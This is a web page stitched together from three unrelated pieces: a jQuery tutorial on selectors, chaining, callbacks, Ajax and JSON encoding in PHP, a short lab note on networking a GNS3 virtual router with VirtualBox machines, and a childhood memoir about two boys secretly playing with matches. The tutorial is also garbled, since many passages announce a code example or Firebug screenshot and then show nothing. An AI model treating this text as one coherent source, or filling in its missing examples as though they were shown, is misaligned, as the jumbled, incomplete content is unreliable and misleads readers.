I’m not here to give you JavaScript training but the jQuery library is not a wholesale replacement of JavaScript you will have to apply the following JavaScript features in many of your jQuery initiatives:

Array Manipulation	String Manipulation	Condition Statements
Use push() to add element(s) to the end of an array.	Use length to get the number of characters in a string, i.e., the strings length.	if (condition){           …      } else if (condition) {           …      } else {           …      }
Use pop() to remove and return the last element from an array.	Use indexOf() to find the first occurrence of a character or phrase.
Use unshift() to add element(s) to the start of an array.	Use lastIndexOf() to find the last occurrence of a character or phrase.	switch (expression) {           case label1:                …                break;           case label2:                …                break;           default:                …      }
Use shift() to remove and return the first element from an array.	Use search() to check the existence of a character or phrase within a string.
Use slice() to extract elements from a section of an array.	Use substring() or substr() to create a substring from a string.
Use toString() or join() to convert an array to a string.	Use toUpperCase() and toLowerCase() to change the case of a string.	test ?            expression1 :            expression2

A

The forth item I would like you to know is the plain old JavaScript object:

var obj = {property1 : value1, property2 : value2, … }

5) You must understand the jQuery Function.

The jQuery Function is how you access the jQuery Library that we installed at the beginning of this session. Here is the syntax that you should master:

jQuery(‘selector’, [context]); or $(‘selector’, [context]);

as you can see the dollar sign ($) is a global alias for ‘jQuery’. Get used to it, you will see the dollar sign throughout your reading on jQuery. Here and everywhere else.

So that it is clear. If you have a document (web page) that is linked to the core jQuery library, then anywhere in your code where you use jQuery() or $() you are calling that library. And the library will respond accordingly. Note that naming a variable with a preceding dollar sign is NOT a call to the library! $var is not the same as $(var). The first is a variable the second is a call to the jQuery library.

The arguments in the jQuery Function are used by the library to select DOM elements from the context that you pass it, or if you don’t provide a context, then to the active document. The selector is a string (enclosed in quotes) that uses standard CSS selectors and many jQuery specific filters. If you are not familiar with CSS selectors take a moment and review my CSS Essentials session. Most of the time you will not provide a context so you will be selecting from the entire document. If you do include a context it can be a DOM element, the document or a jQuery Object.

When the jQuery Function finishes traversing the DOM and retrieving elements that match the selector, it returns those elements in the form of a jQuery Object. It is the jQuery Object with all of it’s properties and methods that we will use to put the POP into our web site.

6) You must understand the jQuery Object.

First it should be obvious that the jQuery Object is, well, an object. That means it has properties and methods that can be called by it. Second the jQuery Object is a container. It can contain any number of DOM elements, including zero.

For example using our diagram above, if we were to execute this jQuery Function:

var $myDivs = $(‘div’);

When executed the function assigns the jQuery Object to the variable $myDivs. Looking inside $myDivs we would see something like:

In Firebug this would appear as:

What is truly neat about this process is that through this selection process you could return a dozen elements and modify them ALL, in some way, with a single line of code.

Notice that the variable we assigned the jQuery Object to, begins with a dollar ($) sign. It is a good practice when assigning a jQuery Object to a variable, to begin the variable name with a dollar sign. In this way you can keep track of what variables are jQuery Objects and can therefore use the methods and properties of that object. Though it is not required I strongly recommend you use it. You will often find it both convenient and efficient to assign jQuery Objects to variables.

We have already mentioned that a jQuery Object can include zero DOM elements. How is this possible? One way to create a jQuery Object that is empty is to execute a jQuery Function that tries to select an element that does not exist in the available context (current document). Using our diagram again, if we were to execute a jQuery Function looking for a table element like this – var $table = $(‘table’);. The jQuery Object that would be assigned to the variable $table would look like this – ‘<>jQuery ()‘. If you check its length ($table.length) it returns zero.

Another way to create a empty jQuery Object is simply to assign the variable to an empty jQuery Function like this –

var $empty = $();.

Same result as trying to select a DOM element that does not exist.

Then by logical extension we should be able to make any DOM element into a jQuery Object. For instance, above we could extract a DOM element from a jQuery Object by using the following method – var ele = $myDivs.get(1);. We can then make the DOM element a jQuery Object by – var $ele = $(ele), i.e., ‘<>jQuery (div#divTwo)‘.

Indeed you will find that many of the jQuery Methods you will use will return a special jQuery reserved key word ‘this’ which will generally represent the DOM element appropriate for the given context. You will often find it convenient to make this into a jQuery Object by what is often called wrapping it in a jQuery Function, as follows, var $jqObj = $(this);

For example the event handlers in jQuery will return ‘this’ as the DOM element that executed the event. So if we have a click event defined for one of our buttons in our diagram above. The logic inside the event handler (after event is triggered) might use the ‘this’ keyword like this:

In this example we are wrapping the keyword ‘this’, which represents the DOM element ‘button#butOne<>‘, in a jQuery Function which returns a jQuery Object and assigns it to the variable $this. By doing that we are able to use the methods that are accessible to the jQuery Object. As you can see we have created a little animation to occur when the button is clicked (button fades out then in).

7) You should know your basic CSS selectors.

I would recommend that when it comes to selectors you focus first on the CSS selectors and secondly on the sometimes very handy support filters provided by jQuery. If you are not already familiar with CSS selectors review my CSS Essentials session before proceeding. You should understand that selectors are very important to jQuery and are NOT all created equal.

Some selectors are far more efficient than others. For instance using an ‘id’ selector like ‘#selOne’ is one of the most efficient ways to select a DOM element. Why? Because a DOM element’s ‘id’ attribute should be unique in a document! In this case the DOM is searched until the element id is located and then stops. Compare this to a selector that is designed to return all the ‘select’ elements whose parent is a ‘div’ element with a class assignment of ‘hide’. That would look something like this:

var $sel = $(‘div.hide > select’);

To find the matches for this selector the DOM must first be searched for all ‘div’ elements with a class ‘hide’ and then that subset collection must be searched for all matches that has one or more child that is a ‘select’ element. You can see how much more searching must be done in the second. Client-side programming to be effective should be as unobtrusive as possible. Your choice of selector can be a big part of this. Some of the attribute selectors ‘[attribute *= val]‘ are especially slow, avoid them if you can.

8) You should understand chaining.

Chaining allows you to perform many operations on a changing  jQuery Object, which can be very efficient and sometimes confusing. Basically if a method call (some operation you are performing) returns a jQuery Object then you can call another operation (method) by merely connecting another method call with the dot ‘.’ operator. Think of it as a form of nesting. Once again using our little diagram above, here is a lengthy example:

In this example the User clicks on the dropdown (select element) list box and changes the selection. This triggers the change event that has been bound to the select element with the ‘id’ attribute equal to ‘selOne’. The only select element in our diagram. The first thing we do is take the key word ‘this’ which in this context represents the select element that the change event is bound to and make it a jQuery Object so that we can chain with it. Next we define the HTML that will be added to the document if certain conditions are met. We only wish to add the HTML if the User selects the option with the value ‘optThree’. The next condition tests if the new input element has already been added. If so, we do not want to add it again. Finally if it has not been added, we execute the chain (bold).

The steps in the chain are:

1. get the parent element of the select element, which returns a jQuery Object (<>jQuery (div#divTwo<>)),
2. append the html variable to the current jQuery Object (<>jQuery (div#divTwo<>)),
3. the children method gets the element we just inserted using it’s ‘id’ attribute (<>jQuery (input#inFour<>)),
4. we fade the element in slowly (<>jQuery (input#inFour<>)),
5. we set focus on the new element (<>jQuery (input#inFour<>)),
6. we call the end() method to return us to the prior jQuery Object (<>jQuery (div#divTwo<>)),
7. we add a new class to the div element represented in the jQuery Object (<>jQuery (div#divTwo<>)).

Note for this to work as I desire, I needed to have some supporting CSS. For the fadeIn() method to work the new input element had to have an initial display property of ‘none’. And of course I had to have a definition for class ‘bBorder’ for it to have any effect when added.

Normally when I chain this many steps I prefer this format:

A little easier to read.

As you can see the jQuery Object does not have to be the same for the chain to be continuable. What is important is that a jQuery Object is returned in every step of the chain except the last one. Methods that change the jQuery Object are often referred to as ‘destructive’. In our example above the ‘children()’ method is destructive. As are all traversal methods in jQuery. Make certain when you wish to go back to a prior jQuery Object in the chain that you use the end() method as shown above.

I saw somewhere on the Internet that this standard jQuery Function syntax can be thought of as:

Basically this saying that when you are calling a jQuery Object method that does something it normally returns a jQuery Object and when you are calling a jQuery Object method that gets something it normally returns something else (string, bool, num, array, plain object, etc…).

9) You should know – ancestor, descendant, child, parent, and sibling

As we have said before the jQuery Object is a collection of DOM elements. Sometimes you will manipulate those elements directly but on other occasions you will use them as reference objects to select other or additional DOM elements. When used as reference it is generally for the purpose of traversing the DOM. You will find, especially in the traversing section of the jQuery library, the need to understand how these relationships are defined (ancestor, descendant, child, parent, and sibling). Here is our standard diagram marked up to define these relationships.

The selected DOM element (div) is bordered in bright red. It’s siblings, both divs, are bordered in dark red. Using a jQuery Function to assign the base jQuery Object to the variable $divTwo, followed by a jQuery Method we can get both the selected div and its siblings:

In Firebug that would look like this:

It’s children are bordered in bright green. It’s descendants are bordered in dark green. Note the children are also considered descendants. Using a couple of jQuery Methods (note how we continue to use the variable $divTwo) we can get both children and descendants for the selected div element as follows:

In Firebug that would look like this:

Note how the jQuery Object .find() method is used to retrieve all descendants, which of course includes the children.

It’s parent is bordered in bright blue. It’s ancestors are bordered in dark blue. Note the parent is also considered an ancestor. These too can be retrieve using a couple of jQuery Methods, as follows:

In Firebug that would look like this:

Note how we use the jQuery Object .parents() method to retrieve ancestors!

The following are popular traversal methods and their relationship focus:

 (*) NOTE this method will NOT return a positioned DOM element that is not displayed!

10) As a general rule, don’t rely on jQuery css methods.

What I mean by this is that you should use CSS to create classes that you can then assign using  jQuery’s addClass(), removeClass() and toggleClass() methods. In this way all of your style information is found in one CSS file! Not a CSS file plus various places in your jQuery ‘.js’ files. Which would be the case if you used jQuery’s .css(property, val) method.

If you want to hide and display a div. You could use jQuery Object’s css() method. Using our diagram above, we could hide the second div by simply doing the following:

$(‘#divTwo’).css(‘display’,'none’);

I would prefer you did something like this instead:

$(‘#divTwo’).addClass(‘hide’);

Where you have a CSS file that defines the class ‘hide’. In its simplest form that would look something like this:

.hide{display:none;}

Both will accomplish the same result but I think keeping ‘styling’ in the CSS file is more maintainable.

There are of course exceptions.

11) You must understand the jQuery .ready() method.

jQuery conveniently provides a ‘ready’ method which is automatically executed when the document (web page) is in a state that allows the execution of jQuery methods. This state requires that the DOM has been loaded, and the page has been completely rendered (including images).

The syntax for this method is: ready( handler ), where handler is a function called when the event fires. The standard way to set up your custom ‘.js’ file is to place the jQuery ready method at the top of the file and place the code that should be implemented immediately within this method. For example from our diagram I chose the following:

Here I have placed one action and bound three events within the method. The action, setting focus, I want to occur as soon as possible (immediately on page load) and the events I bind so that they are ready to respond to a user action. The first is a change event for a ‘select’ element. As the user changes the selection in a dropdown list jQuery will perform some action as defined in the code (represented by … code …). Then I bind a click event to the first button element using jQuery’s shortcut method click()– in this case using the event object to make certain that the default event does not occur. The second button is bound to the click event using the bind() method with exactly the same result. When the User clicks the button the event is triggered. Here however the default event is not cancelled.

Note generally I use the bind() method when I am defining a custom event. Shortcuts work great with all of the standard events.

I normally place my event handlers in the jQuery ready() method with the majority of the logic appearing as functions outside of it but still in the same ‘js’ file. Some special functions may be placed in a separate file.

Note though I have attached event handlers to standard ‘form’ elements, you are by no means limited in jQuery to these elements. You can place a handler on the div elements, p elements, etc.

12) You should know what an anonymous function is.

You will see a special kind of function throughout jQuery that is called an anonymous function. The anonymous function confuses many who have not used it. It does look strange. It is common to use anonymous functions as event handlers in jQuery. Such a function would look something like this:

Basically when the click event occurs on the DOM element identified by the attribute ‘id’ equals ‘someEle’ the anonymous function will be executed and the intended action will be taken. What is important to note about an anonymous function is that it has no name and because it has no name it cannot be called from anywhere else. It is in effect a private function of the $(‘#someEle’).click() method.

Although you could substitute named functions for anonymous functions there are some rules that I’m afraid would just confuse you. Leave the anonymous functions alone and use the API syntax just as it is shown. At least for now.

13) You should know what a callback is.

This is an important topic in jQuery that does not get enough explanation. First as Rebecca Murphey said in her “jQuery Fundamentals” publication – “Callback functions provide a way to register your interest in an event that will happen in the future.” You can create your own callbacks but that is too advanced for this session. What I want you to understand is how callbacks are automatically provided for you in the standard jQuery syntax and how they work.

I have found that most functions shown in the jQuery API are callbacks! Sometimes they are called callbacks, other times handlers or simply functions. In the standard syntax they always appear as anonymous functions. In the jQuery API, Events, Effects, and Ajax methods that specify a function are all callbacks!

jQuery in general is a synchronous process that is each line of code is dependent on the previous line of code and are handled in sequence (one after another). Callbacks allow us to create an asynchronous aspect to this process. That is, we can add code that does not get executed in the order that it appears in the program but rather when a specific event occurs. I like the term ‘listener’ as used in Java. A listener is setup (bound) to an element and receives notice when a specific event occurs.

The easiest way to use callbacks in jQuery (and the way I recommend) is exactly as they are shown in the API. The following is an example of a callback function from the API:

$(document).ready(function(){ … code … });

you should already be familiar with this jQuery method. The anonymous function used as an argument for the ‘ready’ method is listening for the event that signals that the DOM has loaded. Once that event occurs the code within the curly brackets will be executed. The same for the other common uses of callback (handler, function, whatever) in the API.

Events	Effects	Ajax
$(‘#ID’).click(function() { … code … });      callback fires when    button is clicked.	$(‘#ID’).fadeIn(function() { … code … });         callback fires when      fadeIn completes.	$(‘#ID’).load(‘url’, function() { … code … });        callback fires when      load completes.

A

Check with the API to determine which arguments are available for each specific callback! You don’t have to do anything to make a callback happen that is all taken care of for you by the jQuery library.

14) Keep in mind that many of the jQuery methods are overloaded.

This means that the method used to set a value generally has the same name as the method used to get a value.

You will find this mostly in the area of attributes, offsets and dimensions.

15) You should know how to access the DOM elements in the jQuery Object.

Using our diagram again we select the div elements using our by now familiar jQuery Function – var $divs = $(‘div);. The jQuery Object returned and assigned to the variable $divs, appears like this in Firebug:

The DOM elements of the jQuery Object can be accessed by their index (0,1,2) property. There are a couple of ways you might use this index property:

If you wish to return a jQuery Object – $divs.eq(1); returns a new jQuery Object with just the second div element, i.e., ‘<>jQuery (div#divTwo<>)‘.

If you wish to return a DOM element – $divs.get(1); returns just the second DOM element in the jQuery Object, i.e., ‘div#divTwo<>’.

You can also iterate over these elements using the jQuery Object each() method. The syntax for the each() method is – each( function(index, Element) ) – source: jQuery API. Note that the ‘Element’ argument will also be the key word ‘this’ in this context.

For example selecting the three div elements in the diagram above with the jQuery Function var $jqObj = $(‘div’);. We could then iterate over the collection as follows:

In this example we are iterating over our div elements looking for option elements. If option elements are found we will iterate over the option elements looking for an option with the value equal to ‘optThree’. If the option value attribute is matched we will add a ‘selected’ attribute to the element the exit the loop.

$jqObj	$jqNewObj	$jqEle
<> jQuery(div#divOne<>, div#divTwo<>, div#divThree<>)
DOMele div#divOne<>
DOMele div#divTwo<>	<> jQuery (option#optOne<>, option#optTwo<>, option#optThree<>)
	DOMele option#optOne<>	<> jQuery (option#optOne<>)
	DOMele option#optTwo<>	<> jQuery (option#optTwo<>)
	DOMele option#optThree<>	<> jQuery (option#optThree<>)

A couple of notable entries.

A) We wrap the DOMele in a jQuery Function $(). As explained earlier, when we do this a jQuery Object is returned i.e., a jQuery Object containing a single DOM element. As always, we do this so that we can use all of those great jQuery Object methods, like find(), val(), and attr().

B) In this context we did not need the DOMele argument in that the key word ‘this’ has the same meaning. That is, it represents the DOM element for each iteration of the jQuery Object (collection).

16) You should be able to use the basic Ajax methods.

Many of the truly exciting things that can be done with jQuery involve Ajax. It is with Ajax methods that your client-side code will communicate with the server-side. As I am sure you know most of the resources reside on the server-side in the form of PHP, MySQL, and more. Ajax is all about getting small amounts of data at the right time to best serve the Users needs. Some refer to it as information layering, that is, when the User takes some action, Ajax is used to go out to the server to get additional detail that supports that action.

I would recommend that you learn and master the Ajax shorthand methods available in the jQuery API. I generally use the POST method when retrieving and inserting data from a database. One important thing to recognize about most of these methods is that they do NOT return a jQuery Object, instead they return a jqXHR Object. More on this later.

The POST syntax is ‘$.post( url, [data], [success(data, textStatus, jqXHR)], [dataType] )‘. Note that the event handler is only called in the case of a success. If you want to capture an error you have to create a separate handler. Or you could replace both with complete event handler. No problem we will do that in a moment. The last optional argument is dataType. When using this shorthand I almost always set the dataType to ‘json’. I believe its the best for transporting table like data between server and client.

When I want to retrieve and insert HTML however, I prefer to use the LOAD method. Note although this is a shorthand method it is the only one that returns a jQuery Object.

The LOAD syntax is ‘$(‘selector’).load( url, [data], [complete(responseText, textStatus, XMLHttpRequest)] )‘. Note that there is a selector at the beginning of the syntax. This allows you to define where the data is to be placed. Note also that the load() method will remove all existing content from the target container before inserting the new content. The URL argument also differs from all the other shorthand methods. With this URL you may optionally include another ‘selector’. This additional selector allows us to specify a portion of the remote document to be inserted. For example we could define a URL as follows: var url = ‘./inc/targetDoc.html.php #ajaxContent’; Here the Ajax would call the existing HTML document (targetDoc.html.php) and would only insert the content found in the container element identified by the id attribute ‘ajaxContent’ after stripping away the rest of the HTML.

The event handler supported directly by this method is the ‘Complete’ handler. That is, the handler is fired when the Ajax call completes, regardless of whether it was a success or failure. You will also notice that this syntax does not include a provision for [dataType], that is because it is automatically set to HTML.

Data can be compiled and handed to any of the shorthand methods as an object or a string. For instance for handling one or two fields in a document like say a select element, I would generally create a plain object like this:

var obj = {id : $(‘#selOne’).val()}; and pass the variable ‘obj’ as $.post(url, obj, function() { … });.

If I want to send all the form data I use either of the two specially designed form methods for that purpose. These methods are serialize() and serializeArray(). Both methods will collect standard form data (input, textarea, and select elements) from within the specified form element as: var fData = $(‘#formOne’).serialize();. Two conditions are required for an element to be selected; one it must be enabled and two it must have a name attribute. You would then pass the variable ‘fData’ as $.post(url, fData, function() { … });. In Firebug, our four form elements (diagram above) would look like this:

Note you can have multiple forms in a document (though not nested), which makes the serialize() and serializeArray() great ways to conveniently collect purpose specific elements for communication with the server.

Handlers for load that returns a jQuery Object can be chained as normal, using methods .ajaxSuccess() or .ajaxError(). That would look this:

and the handlers for the other shorthand methods that return a jqXHR Object can be nested using the .success(), .error() and .complete() methods. Note I used the term nested rather than chain just to make it clear that it is not using, in anyway, a jQuery Object method. If you look at the methods supported by jqXHR you will find – success(), error() and complete(). The nesting would look like this:

In the post method above we could remove the default success handler by simply removing the argument then replace it with the complete method as follows:

Before we close out the Ajax essential let me say that if you are just starting out, you will likely generate a few errors with NO apparent error being thrown. You will scratch your head and waste time looking at everything. Stop. First thing you should test is the data. That’s right I cannot begin to tell you how often the data is the silent killer of a good bit of Ajax logic. So start with Firebug and make sure that the data is getting to the PHP file as expected. Sure its obvious now, I just told you.

17) Its probably a good idea to know JSON.

I have already said that JSON is my choice when dealing with the jQuery Object’s Ajax post() method. I also said I like to use the post() method when interfacing with a database (MySQL). These things go hand in hand. JSON is a great way to encode table data for export across a network.

I always use PHP objects when working with MySQL tables for their convenience. Far better then trying to manage a dozen separate variables. I also use a high level object to manage the database queries, object updates, and special encoding like JSON. This high level object can be the same as the table object in simple scenarios. That was the case in preparing for this session.

I already said in the Ajax essential above that the data I send to the server is either an object or a string. The jQuery Object’s serializeArray() method does generate string in a JSON format. But this really isn’t necessary because the Ajax shorthand methods will automatically convert either an object or a string to a standard query string like:  ‘a=1&b=2&c=3&d=4&e=5′. So we really don’t have to worry about creating JSON on the client-side.

On the server-side however, we have to worry about the encoding. Fortunately PHP provides us some very nice ways to accomplish this. My favorite is to use a method in the object to do the encoding. This is actually required because most on my custom objects have private or protected properties. By placing the encoding in the class definition I can access all types of properties except static. Here is an example of a statement that will encode all the properties in an object:

$jsonObj = json_encode(get_object_vars($this));

Note that this single statement will cover all the properties on the object (except static). If you wish to exclude certain properties you will have to do a little more work. First you will have to unnest the function and create another function to loop through the properties, filtering out those not desired. Note the $this argument being passed to the function. Just like in jQuery, PHP reserves ‘this’ as a keyword. In this context the variable $this represents the Object itself. I suppose I should mention it, we are looking at PHP code here. The variables preceded with a dollar sign ($) does NOT indicate that the variable holds a jQuery Object.

So inside one of the methods of the object we have the code above. The first PHP function executed is ‘get_object_vars($this)’. Basically this function gets all of the properties of the object (public, private, and protected) and returns an associative array. If a property has not been assigned a value, it will be returned with a NULL value.

The second function executed is ‘json_encode()’. As you can see we have nested the ‘get_object_vars()’ function inside it so we have all of the properties of the object to work with. That’s it. We have our $jsonObj that can be returned to the jQuery script that originated the Ajax call by doing something like: ‘echo $jsonObj’ in your PHP script.

In the post() method, the reply comes back via the handler (‘success’) in two of the available arguments. This is important because the JSON object that we sent is not represented the same way in both arguments. The post() method handler syntax as you will recall is: success(data, textStatus, jqXHR)

The ‘data’ argument is the reply from the server. This should be a JSON string if that is what we requested in our original request using the ‘dataType’ argument. Unfortunately it is not and if you attempt to treat it that way you will get an error. So what is returned?

The variable $jsonObj looks like this after encoding

“{“id” : “1492″,”name” : “XYZ Foundation”,”contact” : “Ken McGurik”,”title” : “Assistant Director”,”phone” : “5378233475″,”email” : “kmcgurik12@xyz.com”,”isGood” : true}”

The ‘data’ argument returns:

Object{“id” : “1492″,”name” : “XYZ Foundation”,”contact” : “Ken McGurik”,”title” : “Assistant Director”,”phone” : “5378233475″,”email” : “kmcgurik12@xyz.com”,”isGood” : true}

Whereas the ‘jqXHR’ argument’s responseText property returns:

String{“id” : “1492″,”name” : “XYZ Foundation”,”contact” : “Ken McGurik”,”title” : “Assistant Director”,”phone” : “5378233475″,”email” : “kmcgurik12@xyz.com”,”isGood” : true}

Because we may wish to use either argument I generally use a condition statement to make sure I handle it properly. The condition statement would look something like this:

The point is you do not want to apply the jQuery Object’s parseJSON() method if the argument is NOT a JSON string. This will throw an error, something like, ‘found an illegal character’. I’m not sure why these two properties are different but it can be confusing. Basically you will want to work with an object. If one is provided fine. If you are given a JSON string then you should convert it to an object using the parseJSON() method.

18) You should have a ready set of resources.

Download the API, get a good quick reference card (basically a good synopsis of the API) and bookmark jQuery Fundamentals by Rebecca Murphey and Dottoro Web Reference. Enough said.

19) You should be familiar with browser tools available for JavaScript.

I strongly recommend you get familiar with your favorite development browser’s JavaScript tool. Lately I have been using Firefox with Firebug and have been very happy. There are several excellent examples on the Internet or you could review my sessions on jQuery Error Handling and jQuery and Browser Developer Tools.

Just a few tips for the Occasional user, on writing  jQuery:

1. a little planning goes a long way (the larger the project the more important planning is),
2. get the logic to work, then go back and refactor your jQuery,
3. use shorthand methods when available,
4. if you are going to use a jQuery Object repeatedly, save it as a variable,
5. add one new thing at a time,
6. for important functionality implement a server-side fallback strategy,
7. get very familiar with the development tools available (Firebug).

Enjoy.

Don

With windows 7 as physical machine and Virtual machines including Linux

Design

GNS3 Virtual Cisco Router – connects to physical machine – VirtualBox Host connects to physical machine as well.
The physical machine bridges the route from Virtual router to VirtualBox Host

Network settings

1. Windows VirtualBox Host – Adapter 1 = Host-only Adapter – VirtualBox Host-Only Ethernet Adapter (IP address dhcp picks up 192.168.56.101)

2. Physical machine uses VirtualBox Host-Only Network addapter (Ip address 192.168.56.1)

3. GNS3 cloud (NIO Ethernet) Network adapter ‘Sun’ on local host: VirtualBox Host-Only Network. Connect your router to the cloud (configured router 192.168.56.102)

Testing ping from router to Virtual machine

R1#ping 192.168.56.101 repeat 200

Type escape sequence to abort.
Sending 200, 100-byte ICMP Echos to 192.168.56.101, timeout is 2 seconds:
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Ping from Virtual machine to Router

C:\Documents and Settings\11>ping 192.168.56.102

Pinging 192.168.56.102 with 32 bytes of data:

Reply from 192.168.56.102: bytes=32 time=25ms TTL=255
Reply from 192.168.56.102: bytes=32 time=10ms TTL=255
Reply from 192.168.56.102: bytes=32 time=9ms TTL=255
Reply from 192.168.56.102: bytes=32 time=14ms TTL=255

Ping statistics for 192.168.56.102:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 9ms, Maximum = 25ms, Average = 14ms

4. To add Backtrack machine from VirtualBox – Adapter 1 = Host-only Adapter – VirtualBox Host-Only Ethernet Adapter.
Once booted ifconfig eth0 192.168.56.103 netmask 255.255.255.0

Although there is no clinical proof to my theory, I believe the first time I successfully used the potty and NOT my diaper and was heralded as a good little boy, I did everything possible to maintain that title for my very own. My brother was seven years older than me, the first-born who’d had years to grow quite comfortable with his designation – the only child. It had taken my parents seven years to conceive him, the first-born and only grandson on both sides of the family, so Messiah had also been added to his given name. What could I possibly do to top that? I had been trumped seven years before I was even born. To always be the best good little boy possible was my only ace in the hole.

After my disruptive appearance into his once-perfect little world, the coddled heir apparent began to resent the mere existence of another child. They none of them expected there to even be a ‘me’. I had been a happy surprise addition – well for Mom and Dad at least. By the time I’d reached age three and brother could better determine the threat I was becoming, his hostilities grew and my parents’ one-time golden boy slowly began to show signs of tarnishing. Once precocious me was able to gauge the situation, I sensed there might be a vacancy atop the pedestal, or at least room for us to take turns up there. But I was too cute, far too bright and simply so good at being good that a brooding silence overtook him and by the time I started school the tables had begun to turn.

Now with two sons it was simple for our parents to make comparisons and they constantly did. Son number one didn’t learn his nursery rhymes until he was nearly five, while son number two was performing them at age three and collecting pennies for his charming performances from anyone who’d listen. Son number two was the top student in his first grade class, so why in the world would son number one bring home two progress reports in the same grading period? With great gusto I chalked up each good little boy point, while silently noting my brother’s foibles. Honestly, I couldn’t tally his shortcomings, because it seemed evident it must not have been easy to play big brother to my wunderkind. Yet I would beg my mother to detail, time after time, her comparison chart, then gloat and grin when hearing how much better or faster or more clever I had performed when judged against my older brother’s record.

The better good little boy I became, the further my brother fell from our father’s favor. The two were always at odds with one another. It was there from my first recollections of them both. I never knew why their hostility existed, but as big brother grew older, the stronger was the animosity and the more violent their relationship became. I felt sorry for my brother, but he would never confide in me. He just silently sulked while passionately despising our father and making me feel somehow it was all my fault. My own psychological assessment of the relationship decades later was that my father had been jealous of the attention and affection my mother heaped upon her exalted first-born and so what we all had lived through was a twisted home version of Oedipus Rex. Whatever it was, it did not provide a nurturing environment, but I was determined to hold on to my hard-earned title of heir presumptive.

It was summer, after having completed second grade and making my first best friend, Lee. He had been in my class and we hit it off right from the start. He lived over on the next street. We were inseparable, especially now that we could play the entire week from morning until night. Our mothers knew each other for years, because Lee’s mom was our neighborhood Stanley Home Products representative. He had an older brother too, a year behind mine in high school. Lee’s brother was always nice to me; he talked with me like I was actually another person.  My brother called him a twerp, because he played sports and didn’t hang out with the hood-wanna-bees. Lee and I rode bikes, climbed trees in the ‘field’, an over-sized vacant lot at the end of my street and on rainy days, hung out at his house and played his older brother’s 45s on a special record player that let you stack up a dozen or more records to play one after another ad nauseam. It was the time when Ricky Nelson and Elvis ruled supreme.

Across the street from the vacant lot was a house where a family lived with three boys, all close in age like stair steps and all of them bad. At least this was the verdict of the mothers on our block. No one I knew was allowed to play with them, but they had each other, so they didn’t seem to mind being ostracized. Lee and I had run into the two older boys in the field. There were some wonderful old crab apple trees and we had a few crab apple fights with the brothers. There didn’t appear to be anything wrong with them, but being a good little boy, I did not want anyone’s mother on the street finding out I had not respected their boycott. The brothers appeared again in our lot one afternoon while we were climbing trees. Steve, the oldest, who was a year or so older than both of us, said he had stolen a pack of matches from his dad’s pocket. The boys were all worked up and announced they wanted to “burn shit”. I thought it seemed an odd thing to do, but Lee was instantly a captive audience so I was not about to be odd man out.

You used matches to light things, like cigarettes and cigars and birthday candles or occasionally the gas stove when the pilot light went out. It had never occurred to me to burn matches as a pastime. Here were these guys, completely mesmerized by the purloined book of matches and Steve, neighborhood bad boy, elevated to a near deity. He instructed us to gather up the litter that had blown into the overgrown lot.  Following his instructions, we brought our collected paper for him to categorize into various piles. He did so purposefully, demonstrating it was something he’d done many times before. We scrunched down into a small circle, squatting on our haunches to shield any wind which might hamper the fire and at the same time protecting ourselves from passersby who might blow the whistle on our illicit play. The Cleveland Transit System bus stop was right around the corner on the busiest thoroughfare in West Buttfok, so we had to be cautious.

Steve began lighting each pile of litter, while his younger brother provided the play-by-play: “awwhhh how cool”, “neat-oh, Stevie” and “tuff” or “sharp” for those really tall, crackling flames. In a matter of a few minutes he’d burned everything, including the book of matches itself. They crossed the street to go back home and Lee and I got on our bikes and high-tailed out of there. We knew it wasn’t just the forbidden sons we had defied our mothers by being with, but we understood that literally playing with fire was an even more enormous no-no. We had spent a week in our second grade class just a few months before learning about the dangers of forest fires, culminating by learning the “Smokey The Bear Song” in music class. I made my buddy Lee swear we would not hang out with those boys again, fearing we would soon become delinquents just like them.

Which of us was the first to sneak matches out of his house I do not remember. I do remember it came only days after evil Steve’s lesson in pyrotechnics. We both had parents who kept us on very short leashes and likewise trusted us implicitly because they knew we understood the boundaries they had set and that we always respected them – that is – until we began playing with matches. Once we started, we were instantly addicted to fire and we both became brazen scofflaws. Our routine went something like this. If Lee brought matches from his house in the morning, I brought them for the afternoon session. We even created a code word “Can you bring the M & Ms?” I remember one day my mother overheard Lee asking me this as we left my house and she called after me, “Where in the world did you buy candy?” I turned twenty shades of red and ran out the door because I was an excellent match thief but a lousy liar.

My parents always bought Ohio Blue Tip Matches. They were wooden matches that came in small cardboard boxes, the covers decorated in a theme. Sold in a package of about forty of these little boxes, I remember at the time each had a different American Bird pictured. They were kept on the very top shelf in the cupboard over the kitchen sink. I would have to crawl up onto the counter and balance on tippy-toes to reach them. Normally a supply of these lasted months in our house. Now, with our daily needs, they were going quickly. I was clever enough to pilfer my contribution when no one was looking, but not smart enough to consider that soon someone might notice how many were missing. This was not, however, the way we were found out.

Lee had a very small backyard and mine was visible to too many houses, so we had no choice but to use our field. We would carefully enter from the opposite side so that the bad boys didn’t see us, fearing they might hijack our private fire sessions. Unlike Steve who was solely into “burning shit”, we had a true passion for the flame and became creative, putting together unique combinations of things to see how they would blaze, prolonging the fire and constantly striving to maintain its control. We were playing in a wooded lot in the middle of a hot summer, surrounded by feet high of dried grasses and weeds, yet we tried to be as responsible as eight-year-old boys with a two pack a day habit could be. We weren’t being bad, we assured one another, we were like scientists experimenting.

At about two-thirds of the way through my parents’ supply of box matches one late summer afternoon, we were burning inside a discarded cinder block. We learned it contained the fire and directed the flames higher, creating a wonderfully intense tongue of orange and yellow several feet high. As it flared to its pinnacle, the local bus stopped and discharged Mrs. V, a waitress who worked at the restaurant in our shopping center. If we hadn’t been so successful in our endeavor we might have been able to conceal the fire, but it was huge.

“Oh my Lord”, she cried, “what are you boys doing?”  She had no idea who Lee was but she certainly knew me all too well. She lived up the street a few houses and my brother was buddies with her sons. She came running towards us in her white uniform and nurses shoes to make sure the fire was under control. We had just about stomped it out by the time she’d reached me. “What would your mother say if she knew you were playing with matches?”, she chastised me inches away from my very guilty face. “Please don’t tell my Mom!” I wailed in fright. “You have to promise me you will never, ever play with fire anymore.” she pleaded. I agreed with all the veracity I could muster. We watched her chubby little legs carry her home. I knew I had been so scared by her discovery that I would have no problem keeping my promise. I only prayed she would keep hers.

